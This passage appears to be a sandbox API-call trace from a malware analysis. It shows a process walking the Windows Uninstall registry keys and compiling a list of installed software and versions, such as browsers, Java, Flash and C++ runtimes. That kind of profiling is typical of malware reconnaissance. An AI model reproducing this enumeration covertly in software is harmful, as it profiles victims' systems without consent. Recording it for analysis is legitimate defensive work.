12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\n") returned 90 [0166.383] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df788 | out: phkResult=0x1e7df788*=0x784) returned 0x0 [0166.383] RegQueryValueExW (in: hKey=0x784, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1e7df790, lpData=0x1e7df588, lpcbData=0x1e7df78c*=0xfe | out: lpType=0x1e7df790*=0x1, lpData="11.0.61030", lpcbData=0x1e7df78c*=0x16) returned 0x0 [0166.383] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.383] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\n", cchWideChar=961, lpMultiByteStr=0x1e7de7a4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\n", lpUsedDefaultChar=0x0) returned 961 [0166.383] RegEnumKeyA (in: hKey=0x674, dwIndex=0x22, lpName=0x1e7df85b, cchName=0x3e9 | out: lpName="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned 0x0 [0166.383] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd04c3c, cbMultiByte=961, lpWideCharStr=0x1e7de7a4, cchWideChar=2047 | out: lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\n") returned 961 [0166.383] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0244fc, cbMultiByte=11, lpWideCharStr=0x1e7de798, cchWideChar=2047 | out: lpWideCharStr="DisplayNamedobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\n") returned 11 [0166.383] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd32174, cbMultiByte=90, lpWideCharStr=0x1e7de794, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\n") returned 90 [0166.383] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df790 | out: phkResult=0x1e7df790*=0x788) returned 0x0 [0166.384] RegQueryValueExW (in: hKey=0x788, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1e7df798, lpData=0x1e7df590, lpcbData=0x1e7df794*=0xfe | out: lpType=0x1e7df798*=0x1, lpData="Microsoft Visual C++ 2012 Redistributable (x64) - 11.0.61030", lpcbData=0x1e7df794*=0x7a) returned 0x0 [0166.384] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.384] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd321dc, cbMultiByte=14, lpWideCharStr=0x1e7de790, cchWideChar=2047 | out: lpWideCharStr="DisplayVersionrosoft\\Windows\\CurrentVersion\\Uninstall\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\n") returned 14 [0166.384] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd32270, cbMultiByte=90, lpWideCharStr=0x1e7de78c, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}6c6}.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\n") returned 90 [0166.384] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df788 | out: phkResult=0x1e7df788*=0x78c) returned 0x0 [0166.384] RegQueryValueExW (in: hKey=0x78c, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1e7df790, lpData=0x1e7df588, lpcbData=0x1e7df78c*=0xfe | out: lpType=0x1e7df790*=0x1, lpData="11.0.61030.0", lpcbData=0x1e7df78c*=0x1a) returned 0x0 [0166.384] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.385] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030(11.0.61030.0)\r\n", cchWideChar=1037, lpMultiByteStr=0x1e7de7a4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030(11.0.61030.0)\r\n", lpUsedDefaultChar=0x0) returned 1037 [0166.385] RegEnumKeyA (in: hKey=0x674, dwIndex=0x23, lpName=0x1e7df85b, cchName=0x3e9 | out: lpName="{e52a6842-b0ac-476e-b48f-378a97a67346}") returned 0x0 [0166.385] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd322d8, cbMultiByte=1037, lpWideCharStr=0x1e7de7a4, cchWideChar=2047 | out: lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030(11.0.61030.0)\r\n￿⿊\x1a⿆\x1a@") returned 1037 [0166.385] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026bcc, cbMultiByte=11, lpWideCharStr=0x1e7de798, cchWideChar=2047 | out: lpWideCharStr="DisplayNamedobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030(11.0.61030.0)\r\n￿⿊\x1a⿆\x1a@") returned 11 [0166.385] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd04ad8, cbMultiByte=90, lpWideCharStr=0x1e7de794, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{e52a6842-b0ac-476e-b48f-378a97a67346}.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030(11.0.61030.0)\r\n￿⿊\x1a⿆\x1a@") returned 90 [0166.385] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{e52a6842-b0ac-476e-b48f-378a97a67346}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df790 | out: phkResult=0x1e7df790*=0x790) returned 0x0 [0166.385] RegQueryValueExW (in: hKey=0x790, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1e7df798, lpData=0x1e7df590, lpcbData=0x1e7df794*=0xfe | out: lpType=0x1e7df798*=0x1, lpData="Microsoft Visual C++ 2017 Redistributable (x64) - 14.10.25017", lpcbData=0x1e7df794*=0x7c) returned 0x0 [0166.385] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.385] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd04b40, cbMultiByte=14, lpWideCharStr=0x1e7de790, cchWideChar=2047 | out: lpWideCharStr="DisplayVersionrosoft\\Windows\\CurrentVersion\\Uninstall\\{e52a6842-b0ac-476e-b48f-378a97a67346}.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030(11.0.61030.0)\r\n￿⿊\x1a⿆\x1a@") returned 14 [0166.386] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd04bd4, cbMultiByte=90, lpWideCharStr=0x1e7de78c, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{e52a6842-b0ac-476e-b48f-378a97a67346}346}.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030(11.0.61030.0)\r\n￿⿊\x1a⿆\x1a@") returned 90 [0166.386] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{e52a6842-b0ac-476e-b48f-378a97a67346}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df788 | out: phkResult=0x1e7df788*=0x794) returned 0x0 [0166.386] RegQueryValueExW (in: hKey=0x794, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1e7df790, lpData=0x1e7df588, lpcbData=0x1e7df78c*=0xfe | out: lpType=0x1e7df790*=0x1, lpData="14.10.25017.0", lpcbData=0x1e7df78c*=0x1c) returned 0x0 [0166.386] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.386] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2017 Redistributable (x64) - 14.10.25017(14.10.25017.0)\r\n", cchWideChar=1115, lpMultiByteStr=0x1e7de7a4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 